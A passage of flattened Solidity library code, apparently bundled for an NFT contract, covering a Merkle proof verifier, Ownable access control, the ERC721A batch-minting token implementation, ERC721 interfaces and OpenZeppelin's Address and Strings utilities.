bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.4;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "IERC721Enumerable.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
